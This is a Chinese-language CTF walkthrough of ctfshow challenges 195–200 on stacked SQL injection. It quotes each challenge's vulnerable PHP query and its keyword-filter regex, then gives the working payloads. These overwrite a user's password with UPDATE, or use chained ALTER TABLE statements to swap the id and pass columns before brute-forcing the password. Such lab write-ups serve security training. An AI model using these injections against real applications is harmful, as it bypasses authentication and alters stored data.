堆叠注入总结

  1. 1. 堆叠注入局限性,并非每个环境下均可以执行,可能受到API或者数据库引擎不支持的限制,固然了权限不足也能够解释为何攻击者没法修改数据或者调用一些程序
  2. 2. 没有过滤updateset直接修改密码
  3. 3. 没有过滤select 可以直接修改获取的参数 196我并不是很懂有一说一
  4. 4. 没有过滤alterchange可以修改表名,将idpassword互换可以暴力破解

195

源码分析

  1. 查询语句 这里是数字型注入,输入0返回的是密码错误

    1. $sql = "select pass from ctfshow_user where username = {$username};";
  2. 返回逻辑 过滤了union select or 这样的话盲注就做不到了,但是没有过滤;可以用堆叠注入,这里的密码判断就比较严格了

    1. //密码检测
    2. if(!is_numeric($password)){
    3. $ret['msg']='密码只能为数字';
    4. die(json_encode($ret));
    5. }
    6. //密码判断
    7. if($row['pass']==$password){
    8. $ret['msg']='登陆成功';
    9. }
    10. //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
    11. if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    12. $ret['msg']='用户名非法';
    13. die(json_encode($ret));
    14. }
    15. if($row[0]==$password){
    16. $ret['msg']="登陆成功 flag is $flag";
    17. }

    payload

    直接修改密码 之后再登录 1;updatectfshow_usersetpass=123456

196

源码分析

  1. 查询语句 这里是数字型注入,输入0返回的是密码错误

    1. $sql = "select pass from ctfshow_user where username = {$username};";
  2. 返回逻辑 这里加了长度限制 这道题有问题 fuzz可以发现select没有过滤 ```php //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if(preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|#|\x23|\’|\”|select|union|or|and|\x26|\x7c|file|into/i’, $username)){ $ret[‘msg’]=’用户名非法’; die(json_encode($ret)); }

    if(strlen($username)>16){ $ret[‘msg’]=’用户名不能超过16个字符’; die(json_encode($ret)); }

    if($row[0]==$password){ $ret[‘msg’]=”登陆成功 flag is $flag”; }

  1. <a name="MH5YQ"></a>
  2. ### payload
  3. username: 0;select(1) password:1
  4. <a name="JQ7Yu"></a>
  5. # 197
  6. <a name="fGQ5S"></a>
  7. ### 源码分析
  8. 1. sql语句
  9. ```php
  10. $sql = "select pass from ctfshow_user where username = {$username};";
  1. 返回逻辑 过滤了update过滤了set和select前面的payload就不行了

    1. //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
    2. if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    3. $ret['msg']='用户名非法';
    4. die(json_encode($ret));
    5. }
    6. if($row[0]==$password){
    7. $ret['msg']="登陆成功 flag is $flag";
    8. }
  2. 可以用alter和change修改表名将pass改为tmp,再将id改为pass,这样我们就可以很轻松的进行暴力破解了

    payload

    1. 0;alter table ctfshow_user change column pass tmp varchar(255);alter table ctfshow_user change column id pass varchar(255);alter table ctfshow_user change column tmp id varchar(255)

    之后burpsuit爆破密码

    198

    源码分析

  3. sql语句

    1. $sql = "select pass from ctfshow_user where username = {$username};";
  4. 返回逻辑

    1. //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
    2. if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    3. $ret['msg']='用户名非法';
    4. die(json_encode($ret));
    5. }
    6. if($row[0]==$password){
    7. $ret['msg']="登陆成功 flag is $flag";
    8. }

    paylaod

    解题同上

199

源码分析

  1. sql语句

    1. //拼接sql语句查找指定ID用户
    2. $sql = "select pass from ctfshow_user where username = {$username};";
  2. 返回逻辑 在上题的基础上过滤了( emmm,就是varchar()用了 直接改为text和int就ok了

    1. //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
    2. if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
    3. $ret['msg']='用户名非法';
    4. die(json_encode($ret));
    5. }
    6. if($row[0]==$password){
    7. $ret['msg']="登陆成功 flag is $flag";
    8. }

    payload

    0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change column id pass int;alter table ctfshow_user change column tmp id text

    web200

    同199